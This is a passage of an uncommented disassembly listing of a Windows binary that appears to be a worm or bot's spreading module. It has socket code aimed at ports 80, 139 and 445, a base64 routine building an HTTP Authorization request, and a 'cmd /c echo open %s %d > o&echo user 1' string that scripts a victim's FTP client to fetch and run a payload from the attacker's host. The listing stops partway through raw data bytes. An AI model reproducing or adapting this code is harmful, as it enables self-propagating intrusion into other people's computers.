ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call near ptr 71AB1890h nop cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAF8C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAF70 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFC4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431CDC push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D0C push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDC8C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C54 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D18 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D64[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D128 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F10 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACB0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DA8 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAF74 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFB4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB00C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h nop call near ptr 2690579h loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB594, 1 jnz short loc_40D888 or byte_4DB594, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321C8 add eax, 6 mov dword_4CDC94, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2700000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 78h ; x db 0E1h ; á db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0BCh ; ¼ db 0D4h ; Ô db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0A8h ; ¨ db 0F7h ; ÷ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh 